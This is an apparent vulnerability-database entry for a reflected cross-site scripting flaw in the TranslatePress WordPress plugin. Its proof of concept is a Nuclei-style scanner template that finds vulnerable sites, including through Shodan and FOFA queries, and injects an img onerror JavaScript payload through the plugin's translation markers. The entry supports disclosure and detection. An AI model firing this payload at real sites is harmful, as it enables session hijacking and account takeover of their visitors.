CVE-2026-17505: WordPress TranslatePress < 3.2.6 - Cross-Site Scripting

2026-08-16 WordPress TranslatePress PoC Public

Description

TranslatePress plugin < 3.2.6 for WordPress contains a reflected cross-site scripting vulnerability in the translation marker processing feature, letting attackers inject and execute arbitrary JavaScript code, exploit requires no authentication or privileges.

PoC

id: CVE-2026-17505

info:
  name: WordPress TranslatePress < 3.2.6 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: |
    TranslatePress plugin < 3.2.6 for WordPress contains a reflected cross-site scripting vulnerability in the translation marker processing feature, letting attackers inject and execute arbitrary JavaScript code, exploit requires no authentication or privileges.
  impact: |
    Attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking and account takeover.
  remediation: |
    Update to version 3.2.6 or later of TranslatePress plugin.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-17505
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2026-17505
    epss-score: 0.00804
    epss-percentile: 0.54953
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: cozmoslabs
    product: translatepress-multilingual
    framework: wordpress
    shodan-query: http.html:"translatepress"
    fofa-query: body="translatepress"
  tags: cve,cve2026,wordpress,wp-plugin,wp,translatepress,xss

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "translatepress") || contains(body, "trp-language-switcher")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: lang
        part: body
        group: 1
        internal: true
        regex:
          - 'rel="alternate"\s+hreflang="[a-zA-Z-]+"\s+href="https?://[^/"]+/([a-z]{2,3})/"'

  - raw:
      - |
        GET /{{lang}}/?s=%23!trpst%23img%20src=x%20onerror=alert(document.domain)%23!trpen%23 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src="x" onerror="alert(document.domain)">'
          - 'search'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402202bda236f3fee370b12c6fb7980008fa0d2cfe77f4908d0e6b9be8c43ea378019022044cce6455681059b210216a18005a1415e1a19295dbce4eacd0a0cca0a356200:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities